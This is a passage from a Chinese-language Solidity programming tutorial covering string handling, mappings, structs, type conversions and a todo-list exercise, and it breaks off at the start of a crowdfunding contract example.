Solidity string 本身并没有操作函数,需要借助全局的函数
字符串拼接
string.concat()
如果不使用参数调用 string.concat 将返回空数组。
将 bytes 转换到 字符串
string()
将 字符串 转换到 bytes
bytes()
比较两个字符串
keccak256(abi.encodePacked(s1)) == keccak256(abi.encodePacked(s2))
keccak256(bytes(s1)) == keccak256(bytes(s2))
:更省 gas
有没有如下办法呢?
push
pop
delete
x[start:end]
字符串拼接
可以使用 string.concat
连接任意数量的 string 字符串。 该函数返回一个 string memory
,包含所有参数的内容,无填充方式拼接在一起。 如果你想使用不能隐式转换为 string 的其他类型作为参数,你需要先把它们转换为 string。
string.concat 例子
输入字符串,输出拼接后的字符串
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
string public welcome = "Welcome";
// 写一个 welcome username 的小方法
// Welcome Anbang!
function test(string memory name_)
public
view
returns(string memory concatString){
bytes memory bs = bytes("!");
// welcome + name_ + bs
// 内部是使用字符串,如果是bytes,需要转换为 string 类型
concatString = string.concat(
welcome,
name_,
string(bs)
);
}
}
如果你不使用参数调用 string.concat
或 bytes.concat
将返回空数组。
推荐了解:
// 这是一种 string.concat 方法的实现
function strConcat(string memory _a, string memory _b)
internal
pure
returns (string memory)
{
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ret = new string(_ba.length + _bb.length);
bytes memory bret = bytes(ret);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) bret[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) bret[k++] = _bb[i];
return string(ret);
}
bytes 和 字符串 之间转换
见 bytes 章节中的内容,这里不再重复介绍。
比较两个字符串是否相等
比较两个字符串借助 keccak256 来使用:
keccak256(abi.encodePacked(s1)) == keccak256(abi.encodePacked(s2))
keccak256(bytes(s1)) == keccak256(bytes(s2))
: 更推荐这个,省 gas
注意:上面 abi.encodePacked
的返回值是 bytes
类型。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
string public hello = "Hello";
// string 转成 bytes
function test1() public view
returns (bytes memory,bytes memory) {
return (abi.encodePacked(hello),bytes(hello));
}
function test2(string calldata hello_) public view returns (bool) {
// 这里只要能够转换成 bytes的都可以。
// 更多方法可以参考后面介绍的 全局 ABI 编码函数
return
keccak256(abi.encodePacked(hello)) ==
keccak256(abi.encodePacked(hello_));
}
function test3(string calldata hello_) public view returns (bool) {
return keccak256(bytes(hello)) == keccak256(bytes(hello_));
}
}
几个常用的全局 ABI 编码函数的简单用法介绍:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
string public hello = "Hello Anbang";
bytes public temp1 = abi.encodePacked(hello);
bytes public temp2 = abi.encode(hello);
bytes public temp3 = abi.encodeWithSignature(hello);
bytes public temp4 = abi.encodeWithSignature("Hello Anbang1");
}
如果比较多个参数的拼接字符串是否相等,谨慎使用 abi.encodePacked
了,因为紧压缩机制的问题。详细可以在 abi.encodePacked
中了解
mapping 映射
mapping 可以看作一个哈希表,会执行虚拟化初始化,使所有可能的值都是该类型的默认值。其实 mapping 并不是一个哈希表,没有 key 集合,也没有 value 集合,所以 mapping 没办法遍历/迭代。
数组中找某一个值,需要循环遍历,这是很消耗 Gas 的,而使用 mapping 就可以很好的解决这个问题。映射可以很方便的获取某个值。映射并没有做迭代的方法。
映射声明
映射的设置,获取,删除
本节重点
声明映射类型的语法:mapping(_KeyType => _ValueType)
_KeyType
:可以是任何内置类型,或者 bytes 和 字符串。键是唯一的,其赋值方式为:
map[a]=test
; 意思是键为 a,值为 test;。
_ValueType
: 可以是任何类型,用户自定义类型也可以。mapping 支持嵌套。
映射的数据位置(data location)只能是
storage
,通常用于状态变量。mapping
不能用于public
函数的参数或返回结果映射只能是 storage 的数据位置,因此只允许作为状态变量 或 作为函数内的 storage 引用 或 作为库函数的参数。它们不能用合约公有函数的参数或返回值。
这些限制同样适用于包含映射的数组和结构体。
映射可以标记为
public
,Solidity 自动为它创建 getter 函数。_KeyType
将成为getter
的必须参数,并且 getter 会返回_ValueType
。如果
ValueType
是一个映射。这时在使用getter
时将需要递归地传入每个KeyType
参数,
问答题:为什么映射不能像哈希表一样遍历?
映射与哈希表不同的地方:在映射中,并不存储 key,而是存储它的 keccak256
哈希值,从而便于查询实际的值。正因为如此,映射是没有长度的,也没有 key 的集合
或 value 的集合
的概念。映射只能是存储的数据位置,因此只允许作为状态变量或作为函数内的存储引用 或 作为库函数的参数。
创建格式
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Mapping {
// 普通
mapping(address => uint256) public balances;
// 嵌套
mapping(address => mapping(address => bool)) public friends;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 不能像 array 一样返回所有
contract Demo {
mapping(address => uint256) public balances;
function getAllBalance() public view
returns(mapping(address => uint256) memory){
return balances;
}
}
如何获取-设置-删除
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Mapping {
// 普通
mapping(address => uint256) public balances;
// 嵌套
mapping(address => mapping(address => bool)) public friends;
constructor() {
balances[msg.sender] = 100;
}
function blanceGet() external view returns (uint256) {
// 获取
return balances[msg.sender];
}
function blanceSet(uint256 amount) external {
// 设置
balances[msg.sender] += amount;
}
function blanceDelete() external {
// 删除
delete balances[msg.sender];
}
function friendGet() external view returns (bool) {
// 获取
return friends[msg.sender][address(0)];
}
function friendSet() external {
// 设置
friends[msg.sender][address(0)] = true;
}
function friendDelete() external {
// 删除
delete friends[msg.sender][address(0)];
// delete friends[msg.sender];
}
}
作为局部变量的使用
mapping
类型可以用做局部变量,但只能引用状态变量,而且存储位置为 storage。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 作为局部变量的使用
contract Demo {
// 普通 mapping
mapping(address => uint256) public balances; // 普通mapping
// storage: 改变内部 ref,会影响 balances 的值
// 不能声明为 memory
function updataBalance() public returns(uint256){
// mapping(address=>uint256) memory ref = balances; // ❌
mapping(address=>uint256) storage ref = balances;
ref[msg.sender] += 3;
return ref[msg.sender];
}
}
在 ERC20 token 中的用法
下面的例子是 ERC20 token 的简单版本. _allowances
是一个嵌套 mapping 的例子. _allowances
用来记录其他的账号,可以允许从其账号使用多少数量的币.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// mapping 在 ERC20 token 中的用法
contract MappingExample {
// 余额
mapping(address => uint256) private _balances;
// 授权:
// 授权人 - 代理人 - 授权金额
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
// 获取:授权金额
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
// 检查:授权金额大于等于需要操作的金额
function transferFrom(
address sender,
address recipient,
uint256 amount
) public returns (bool) {
require(
_allowances[sender][msg.sender] >= amount,
"ERC20: Allowance not high enough."
);
_allowances[sender][msg.sender] -= amount; // 设置额度
_transfer(sender, recipient, amount);
return true;
}
// 设置:
function approve(address spender, uint256 amount) public returns (bool) {
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_balances[sender] >= amount, "ERC20: Not enough funds.");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
}
可迭代映射
遍历所有 Mapping 内的数据,(Mapping 配合 array )
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
mapping(address => uint256) public balances;
// 用于检查:地址是否已经存在于 balancesKey
mapping(address => bool) public balancesInserted;
address[] public balancesKey; // 所有地址
// 设置
function set(address ads_,uint256 amount_) external{
balances[ads_] = amount_;
// 1.检查
if(!balancesInserted[ads_]){
// 2.修改检查条件
balancesInserted[ads_] = true;
// 3.正在的操作
balancesKey.push(ads_);
}
}
// 获取
function get(uint256 index_) external view returns(uint256){
require(index_<balancesKey.length,"index_ error");
return balances[balancesKey[index_]];
}
// 获取所有
function totalAddress() external view returns(uint256){
return balancesKey.length;
}
// 获取第一个值
function first() external view returns(uint256){
return balances[balancesKey[0]];
}
// 最后一个值
function latest() external view returns(uint256){
return balances[balancesKey[balancesKey.length-1]];
}
}
更完善的实现: https://github.com/ethereum/dapp-bin/blob/master/library/iterable_mapping.sol
更新的实现: https://learnblockchain.cn/docs/solidity/types.html#iterable-mappings
struct 结构体
创建语法
要定义结构体,使用 struct
关键字。struct
关键字定义了一个新的数据类型,包含多个成员。结构体是可以将多个变量进行编组的自定义类型
struct 语句的格式如下
struct StructName {
type1 typeName1;
type2 typeName2;
type3 typeName3;
}
例子:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
struct Book {
string title;
string author;
uint256 book_id;
}
Book public book = Book("Solidity", "Anbang", 1);
}
三种创建方法
基础方式:Test t = Test(1,2);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Structs {
struct Book {
string title;
string author;
uint256 book_id;
}
uint256 private bookId;
Book[] public bookcase; // 书柜:数组类型
function setA1Bookcase() external {
// 第1种生成方法:顺序一定要和结构一致
Book memory temp = Book(
unicode"Solidity 高级程序设计",
"Anbang",
++bookId
);
bookcase.push(temp);
}
// ✅ 最优方案,推荐: 先写入内存,然后push
function setB1Bookcase() external {
// 第 2 种生成
Book memory temp = Book({
title: unicode"Solidity 高级程序设计",
author: "Anbang",
book_id: ++bookId
});
bookcase.push(temp);
}
function setB2Bookcase() external {
// 第 2 种生成: 直接 push,无变量
bookcase.push(
Book({
title: unicode"Solidity 高级程序设计",
author: "Anbang",
book_id: ++bookId
})
);
}
function setC1Bookcase() external {
// 第 3 种生成: 推荐
Book memory temp;
temp.title = unicode"Solidity 高级程序设计";
temp.author = "Anbang";
temp.book_id = ++bookId;
bookcase.push(temp);
}
}
总结:
// 第 1 种生成
Book memory solidity1 = Book(unicode"Solidity 高级程序设计", "Anbang", ++bookId);
// 第 2 种生成
Book memory solidity2 = Book({
title: unicode"Solidity 高级程序设计",
author: "Anbang",
book_id: ++bookId,
});
// 第 3 种生成
Book memory temp;
temp.title = unicode"Solidity 高级程序设计";
temp.author = "Anbang";
temp.book_id = ++bookId;
读取
函数内仅读取结构体,使用 memory 和 storage 区别:
函数内读取并返回,如果使用 memory 变量接收:
从状态变量拷贝到内存中,然后内存中的变量拷贝到返回值。两次拷贝,消耗 gas 多
Book memory _book = book;
函数内读取并返回,如果使用 storage 变量接收:
直接从状态变量读取,状态变量拷贝到返回值。1 次拷贝,消耗 gas 小
总结: 读取时候推荐使用
storage
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 读取
contract Demo {
struct Book {
string title;
string author;
uint256 book_id;
}
Book public book = Book("Solidity", "Anbang", 1);
// memory 30029 gas
// 函数内读取并返回:使用 memory 变量接收
// 两次拷贝,所以消耗的 gas 多
function get1() external view
returns(
string memory,
string memory,
uint256
)
{
// 从状态变量拷贝到内存中
Book memory _book = book;
// 内存中的变量拷贝到返回值;2次拷贝
return (_book.title,_book.author,_book.book_id);
}
// storage 29983 gas
// 函数内读取并返回:使用 storage 变量接收
function get2() external view
returns(
string memory,
string memory,
uint256
)
{
// 从状态变量读取,没有拷贝的行为
Book storage _book = book;
// 状态变量拷贝到返回值。1次拷贝
return (_book.title,_book.author,_book.book_id);
}
}
修改
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 修改
contract Demo {
struct Book {
string title;
string author;
uint256 book_id;
}
Book public book = Book("Solidity", "Anbang", 1);
function modi() external {
book.title = "Solidity 666";
}
}
函数内读取时,标记 memory
/ storage
,会产生完全不同的结果;
特别注意:如果结构体内包含 mapping
类型,则必须使用 storage
,不可以使用 memeory.,否则报错 Type struct ContractName.StructName memory is only valid in storage because it contains a (nested) mapping.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
struct Book {
string title;
string author;
uint256 book_id;
}
Book public book = Book("Solidity", "Anbang", 1);
// view
function test1() external view {
Book memory bookLocal = book;
bookLocal.author = "Anbang666";
}
// 不能用view:因为写状态变量了
function test2() external {
Book storage bookLocal = book;
bookLocal.author = "Anbang777";
}
}
函数内获取并修改结构体:
因为要修改状态变量,所以使用 storage
函数内直接修改变量; 在修改一个属性时比较省 Gas 费用
函数内先获取存储到 storage 再修改:修改多个属性的时候比较省 Gas 费用
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Structs {
struct Book {
string title;
string author;
uint256 book_id;
}
uint256 private bookId;
Book public book1; // Book类型
Book public book2; // Book类型
mapping(address => Book) public students; // mapping 类型
// 设置 book1
function setBook1() external {
Book memory temp;
temp.title = unicode"Solidity 高级程序设计";
temp.author = "Anbang";
temp.book_id = ++bookId;
book1 = temp;
}
// 设置 book2
// ✅ 最优方案,推荐:直接修改
function setBook2() external {
book2.title = unicode"Solidity 高级程序设计";
book2.author = "Anbang";
book2.book_id = ++bookId;
}
// ✅ 最优方案,推荐:直接修改
function set1Student() external {
Book storage temp = students[msg.sender];
temp.title = unicode"Solidity 高级程序设计";
temp.author = "Anbang";
temp.book_id = ++bookId;
}
function set2Student() external {
Book memory temp;
temp.title = unicode"Solidity 高级程序设计";
temp.author = "Anbang";
temp.book_id = ++bookId;
students[msg.sender] = temp;
}
}
删除
删除结构体的变量,仅仅是重置数据,并不是完全的删除。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
struct Book {
string title;
string author;
uint256 book_id;
}
Book public book = Book("Solidity", "Anbang", 1);
function del() external
{
delete book;
}
}
类型转换
Solidity 允许类型之间进行隐式转换和显式转换。
前文回顾: bytes1
对应 uint8
,对应两位连续的十六进制数字 0xXX
。
隐式转换
发生场景
在赋值, 函数参数传递以及应用运算符时,会发生隐式转换。
转换的标准
值类型
源类型必须是目标类型的子集。
例如,uint8
可以转换为 uint16
/uint24
../uint256
,因为uint8
是uint16
这些类型的子集。但是 int8
不可以转换为 uint256
,因为 int8
可以包含 uint256
中不允许的负值,比如 -1
。
相交集合的类型,不能隐式转换。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
int8 public a1 = 3;
// Type int8 is not implicitly convertible to expected type uint16.
// uint16 public a2 = a1;
uint8 public b1 = 3;
uint16 public b2 = b1;
}
把整数字面量赋值给整型时,不能超出范围而发生截断,否则会报错。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
uint8 public a = 12; // no error
uint32 public b = 1234; // no error
uint16 public c = 0x01;
// Type int_const 123456 is not implicitly convertible
// to expected type uint8. Literal is too large to fit in uint8.
// uint8 d = 123456;
}
函数参数传递
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 函数的传参
contract Demo {
uint256 public a;
function test1(uint256 u_) public {
a = u_;
}
function test2() external {
uint8 temp = 3;
test1(temp); //
}
}
数组:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 函数的传参
contract Demo {
uint256 public a;
function test1(uint256[3] memory u_) public {
a = u_[0];
}
// 禁止的:
function test2() external {
// function call. Invalid implicit conversion from uint8[3]
// memory to uint256[3] memory requested.
// test1([1,2,3]);
test1([uint256(1),uint256(2),uint256(3)]);
}
}
运算符应用
则编译器将尝试将其中一个操作数隐式转换为另一个操作数的类型(赋值也是如此)。 这意味着操作始终以操作数之一的类型执行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 运算符
contract Demo {
uint8 public x = 1;
uint16 public y = 2;
// uint8 + uint16 => uint16 + uint16 = uint16
// uint16 => uint32
uint32 public z = x + y;
}
在上面的示例中,加法的操作数 x 和 y 没有相同的类型,uint8 可以被隐式转换为 uint16,相反却不可以。 因此在执行加法之前,将 uint8 转换为 uint16 的类型,结果类型是 uint16。因为它被赋值给 uint32 类型的变量,又进行了另一个类似逻辑的隐式转换.
显式转换
可以使用类型关键字,显式地将数据类型转换为另一种类型。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// uint8 => uint16
uint8 public a1 = 3;
uint16 public a2 = uint16(a1);
int8 public b1 = 3;
//Explicit type conversion not allowed from "int8" to "uint256".
// uint256 b2 = uint256(b1);
}
int/uint 整型转换
整型加大数据位置是从左侧增加,减小数据位置也是从左侧移除;(整型是右对齐)
整型转换成更大的类型,从左侧添加填充位。
整型转换成更小的类型,会丢失左侧数据。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// 整型转换成更大的类型,从左侧添加填充位。
// uint16 => uint32
uint16 public a1 = 22136; // 等于 0x5678
uint32 public a2 = uint32(a1); // a2 = 22136
// uint16 => uint8
uint8 public a3 = uint8(a1); // b4 = 0x78
uint8 public a4 = 0x78;
// 整型转换成更小的类型,会丢失左侧数据。
// uint32 => uint16
uint32 public b1 = 0x12345678; // 0x12345678
uint16 public b2 = uint16(b1); // 0x5678 | b2 = 22136
}
整数显式转换为更大的类型
uint16 a = 0x1234;
uint32 b = uint32(a); // b 为 0x00001234 now
整数显式转换成更小的类型
uint32 a = 0x12345678;
uint16 b = uint16(a); // 此时 b 的值是 0x5678
bytes 字节类型转换
字节加大数据位置是从右侧增加,减小数据位置也是从右侧移除;(字节是左对齐)
字节转换为更大的类型时,从右侧添加填充位。
字节转换到更小的类型时,丢失右侧数据。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// 字节转换为更大的类型时,从右侧添加填充位。
// bytes2 =>bytes4
bytes2 public a1 = 0x5678;
bytes4 public a2 = bytes4(a1); // a2 = 0x56780000
// 字节转换到更小的类型时,丢失右侧数据。
// bytes4 => bytes2
bytes4 public b1 = 0x12345678;
bytes2 public b2 = bytes2(b1); // b2 = 0x1234
}
bytes 显式转换成更小的类型
bytes2 a = 0x1234;
bytes1 b = bytes1(a); // b 为 0x12
bytes 显式转换成更大的类型
bytes2 a = 0x1234;
bytes4 b = bytes4(a); // b 为 0x12340000
bytes 与 uint 转换
只有当字节类型和整数类型大小相同时,才可以进行转换。
因为整数和定长字节数组在截断(或填充)时行为是不同的,如果要在不同的大小的整数和定长字节数组之间进行转换,必须使用一个中间类型来明确进行所需截断和填充的规则
bytes2 a = 0x1234;
uint32 b = uint16(a); // b 为 0x00001234
uint32 c = uint32(bytes4(a)); // c 为 0x12340000
uint8 d = uint8(uint16(a)); // d 为 0x34
uint8 e = uint8(bytes1(a)); // e 为 0x12
1.bytes 转换成 uint: 先转类型,再转大小
推荐先把 bytes 显示转换成数字类型后,再转换成更大或更小的数字
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// - `uint8` 等于两位连续的十六进制数字 `0xXX`
// - `bytes1` 等于两位连续的十六进制数字 `0xXX`
// - `bytes1` 等于 `uint8`
contract Demo1 {
// bytes => uint
bytes2 public a1 = 0x5678; // : 十进制数字 = 22136
bytes4 public a2 = bytes4(a1); // a2 = 0x56780000 : 十进制数字 = 1450704896
bytes1 public a3 = bytes1(a1); // a3 = 0x56 : 十进制数字 = 86
// -- 增大
// bytes 显示转换成数字后,显示转换更大的数字 (这里也可以隐式完成)
uint32 public a4 = uint32(uint16(a1)); // ✅ a4 = 0x00005678 : 十进制 = 22136
// bytes 显示转换成更大数字对应的的bytes,然后bytes显示转换成匹配的数字
uint32 public a5 = uint32(bytes4(a1)); // ❌ a5 = 0x56780000 : 十进制 = 1450704896
// -- 减小
// bytes 显示转换成数字后,显示转换成更小的数字
uint8 public a6 = uint8(uint16(a1)); // ✅ a6 = 0x78 : 十进制 = 120
// bytes 显示转换成更小数字对应的的bytes,然后bytes显示转换成匹配的数字
uint8 public a7 = uint8(bytes1(a1)); // ❌ a7 = 0x56 : 十进制 = 86
}
2.uint 转换成 bytes: 先转大小,再转类型
推荐先把 uint 显示转换成更大 bytes 对应的 uint,然后 uint 再显示转换成匹配的 bytes
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo2 {
// uint => bytes
uint16 public b1 = 0x5678; // 0x5678 : 十进制 = 22136
uint32 public b2 = uint32(b1); // b2 = 0x00005678 : 十进制 = 22136
uint8 public b3 = uint8(b1); // b3 = 0x78 : 十进制 = 120
// -- 增大
// uint 显示转换成bytes类型后,再显示转换成更大或更小的bytes
bytes4 public b4 = bytes4(bytes2(b1)); // ❌ b4 = 0x56780000
// uint 显示转换成更大bytes对应的uint,然后uint再显示转换成匹配的bytes
bytes4 public b5 = bytes4(uint32(b1)); // ✅ b5 = 0x00005678
// -- 减小
// uint 显示转换成bytes类型后,再显示转换成更大或更小的bytes
bytes1 public b6 = bytes1(bytes2(b1)); // ❌ b4 = 0x56
// uint 显示转换成更大bytes对应的uint,然后uint再显示转换成匹配的bytes
bytes1 public b7 = bytes1(uint8(b1)); // ✅ b4 = 0x78
}
bytes 和 bytesN 之间转换
bytes
数组和 bytes calldata
切片可以显示转换为固定长度的 bytes 类型(bytes1...bytes32
).
如果数组比固定长度的 bytes 类型长,则在末尾处会发生截断。
如果数组比目标类型短,它将在末尾用零填充。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
// 0x6162636465666768
bytes public bts = "abcdefgh";
bytes3 public b1 = bytes3(bts);
bytes8 public b2 = bytes8(bts);
bytes16 public b3 = bytes16(bts);
bytes32 public b4 = bytes32(bts);
}
补充:使用切片也可以把数据从 bytes 转为 bytesN。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
// 0x6162636465666768
bytes public bts = "abcdefgh";
function f(bytes calldata bts_)
public
pure
returns (bytes3,bytes16)
{
bytes3 b1 = bytes3(bts_);
bytes16 b2 = bytes16(bts_[:8]);
return (b1, b2);
}
}
bytes 与 address 转换
address 的格式是 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac
,是一个 bytes20 的数据。
地址是取 bytes32
数据中的后 20 位。如果想删除前面的 12 位数据,可以使用 solidity assembly (内联汇编) 来截取,也可以借助 uint
转换成更小的类型,会丢失左侧数据的特性来完成。
代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// 获取即将部署的地址
function getAddress(bytes memory bytecode, uint256 _salt)
external
view
returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), // 固定字符串
address(this), // 当前工厂合约地址
_salt, // salt
keccak256(bytecode) //部署合约的 bytecode
)
);
// bytes 转换成 uint: 先转类型,再转大小
// bytes32 => uint256 => uint160
// uint160 转 address
// uint160 => address
return address(uint160(uint256(hash)));
}
}
前文介绍过编码的方式: keccak256(abi.encodePacked())
,返回的是 bytes32
类型。
这个小例子是合约部署合约那章节中 create2 代码的一部分,相关的更多演示请查看 create2 创建。
数字转换成字符串
直接借助 bytes 和 string(未完成)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// `固定大小字节数组` —> `动态大小字节数组` —> `string`
function test(uint8 num_) public pure returns (bytes1 ab,string memory data) {
// 固定大小字节数组
ab = bytes1(num_);
// `固定大小字节数组` —> `动态大小字节数组`
bytes memory temp = new bytes(ab.length); // 可变字节数组创建方式
for (uint8 i = 0; i < ab.length; i++) {
temp[i] = ab[i];
}
// `动态大小字节数组` —> `string`
data = string(temp);
}
}
借助单个数字转换(推荐)
这种方法是借助将 0-9 的数字进行转换,然后超过十位的数字,通过 %
来得到,并且拼接在一起。
推荐方法:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function uintToString(uint256 _uint)
public
pure
returns (string memory str)
{
if (_uint == 0) return "0";
while (_uint != 0) {
//取模
uint256 remainder = _uint % 10;
//每取一位就移动一位,个位、十位、百位、千位……
_uint = _uint / 10;
//将字符拼接,注意字符位置
str = string.concat(toStr(remainder), str);
}
}
function toStr(uint256 num_) internal pure returns (string memory) {
require(num_ < 10,"error");
bytes memory alphabet = "0123456789";
bytes memory str = new bytes(1);
str[0] = alphabet[num_];
return string(str);
}
}
上面代码的 toStr 千万不要写下面的这种垃圾代码,写下面这种垃圾是对自己职业的不尊重:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function toStr(uint8 step) external pure returns (string memory str) {
string memory str;
if (step == 0) {
str = "0";
} else if (step == 1) {
str = "1";
} else if (step == 2) {
str = "2";
} else if (step == 3) {
str = "3";
} else if (step == 4) {
str = "4";
} else {
str = "?";
}
}
}
toStr 的另外一种实现,推荐了解一下。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
//这个函数最关键,比较取巧,用来将uint256类型的 0-9 数字转成字符
function toStr2(uint256 value) public pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
//这里把数字转成了bytes32类型,但是因为我们知道数字是 0-9 ,所以前面其实都是填充了0
bytes memory data = abi.encodePacked(value);
bytes memory str = new bytes(1);
//所以最后一位才是真正的数字
uint256 i = data.length - 1;
str[0] = alphabet[uint256(uint8(data[i] & 0x0f))];
return string(str);
}
}
字面常量与基本类型的转换
十进制和十六进制字面常量
十进制和十六进制字面常量可以隐式转换为任何足以表示它而不会截断的整数类型:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint8 public a = 12; // 可行
uint32 public b = 1234; // 可行
uint16 public c = 0x01;
// uint16 d = 0x123456; // 失败, 会截断为 0x3456
}
⚠️:在 0.8.0 之前,任何十进制和十六进制常量都可以显示转化为整型,不过从 0.8.0 开始,只有在匹配数据范围时,才能进行这个转换,就像隐式转换那样。
整型字面常量与 bytesN
十进制字面常量不能隐式转换为定长字节数组。
十六进制字面常量可以转换为定长字节数组,但仅当十六进制数字大小完全符合定长字节数组长度的时候。
零的十进制和十六进制字面常量都可以转换为任何定长字节数组类型,零值是例外,比较特殊
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// 十六进制
bytes2 public a = 0x1234; // 可行
bytes2 public b = 0x0012; // 可行
// bytes2 public c = 0x12; // 0x12不可行 ,0x1200 可行,需要完全符合长度
// 十进制
// bytes4 public x = 1; // 不可行
// bytes2 public y = 2; // 不可行
// 0 和 0x0
bytes4 public d = 0x0; // 可行
bytes4 public e = 0; // 可行
}
字符串字面常量与 bytesN
字符串字面常量和十六进制字符串字面常量可以隐式转换为定长字节数组(需要它们的字符数与字节类型的大小相匹配)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes2 public a = hex"1234"; // 可行
bytes2 public b = hex"12"; // 可行
bytes2 public c = "xy"; // 可行
bytes2 public d = "x"; // 可行
// bytes2 public e = hex"123"; // 不可行
// bytes2 public f = "xyz"; // 不可行
}
十六进制字面常量与地址类型
通过校验和测试的正确大小的十六进制字面常量会作为 address
类型。没有其他字面常量可以隐式转换为 address
类型。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
address public ads1 = 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac;
// address public ads2 = 0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ab; // ❌
}
实战 1: Todo List
TodoList: 是类似便签一样功能的东西,记录我们需要做的事情,以及完成状态。
需要完成的功能
创建任务
修改任务名称
任务名写错的时候
修改完成状态:
手动指定完成或者未完成
自动切换
如果未完成状态下,改为完成
如果完成状态,改为未完成
获取任务
思考代码内状态变量怎么安排?
思考 1:思考任务 ID 的来源?
我们在传统业务里,这里的任务都会有一个任务 ID,在区块链里怎么实现??
答:传统业务里,ID 可以是数据库自动生成的,也可以用算法来计算出来的,比如使用雪花算法计算出 ID 等。在区块链里我们使用数组的 index 索引作为任务的 ID,也可以使用自增的整型数据来表示。
思考 2: 我们使用什么数据类型比较好?
答:因为需要任务 ID,如果使用数组 index 作为任务 ID。则数据的元素内需要记录任务名称,任务完成状态,所以元素使用 struct 比较好。
如果使用自增的整型作为任务 ID,则整型 ID 对应任务,使用 mapping 类型比较符合。
演示代码
contract Demo {
struct Todo {
string name;
bool isCompleted;
}
Todo[] public list; // 29414
// 创建任务
function create(string memory name_) external {
list.push(
Todo({
name:name_, // ,
isCompleted:false
})
);
}
// 修改任务名称
function modiName1(uint256 index_,string memory name_) external {
// 方法1: 直接修改,修改一个属性时候比较省 gas
list[index_].name = name_;
}
function modiName2(uint256 index_,string memory name_) external {
// 方法2: 先获取储存到 storage,在修改,在修改多个属性的时候比较省 gas
Todo storage temp = list[index_];
temp.name = name_;
}
// 修改完成状态1:手动指定完成或者未完成
function modiStatus1(uint256 index_,bool status_) external {
list[index_].isCompleted = status_;
}
// 修改完成状态2:自动切换 toggle
function modiStatus2(uint256 index_) external {
list[index_].isCompleted = !list[index_].isCompleted;
}
// 获取任务1: memory : 2次拷贝
// 29448 gas
function get1(uint256 index_) external view
returns(string memory name_,bool status_){
Todo memory temp = list[index_];
return (temp.name,temp.isCompleted);
}
// 获取任务2: storage : 1次拷贝
// 预期:get2 的 gas 费用比较低(相对 get1)
// 29388 gas
function get2(uint256 index_) external view
returns(string memory name_,bool status_){
Todo storage temp = list[index_];
return (temp.name,temp.isCompleted);
}
}
自己动手
自动动手写一下,按照使用自增整型作为任务 ID,配合 mapping 实现上面逻辑。状态按照【未完成,进行中,已完成,已取消】四种状态来做。
实战 2: 众筹合约
众筹合约是一个募集资金的合约,在区块链上,我们是募集以太币,类似互联网业务的水滴筹。区块链早起的 ICO 就是类似业务。
需求分析
众筹合约分为两种角色:一个是受益人,一个是资助者。
// 两种角色:
// 受益人 beneficiary => address => address 类型
// 资助者 funders => address:amount => mapping 类型 或者 struct 类型
状态变量按照众筹的业务:
// 状态变量
// 筹资目标数量 fundingGoal
// 当前募集数量 fundingAmount
// 资助者列表 funders
// 资助者人数 fundersKey
需要部署时候传入的数据:
// 受益人
// 筹资目标数量
演示代码
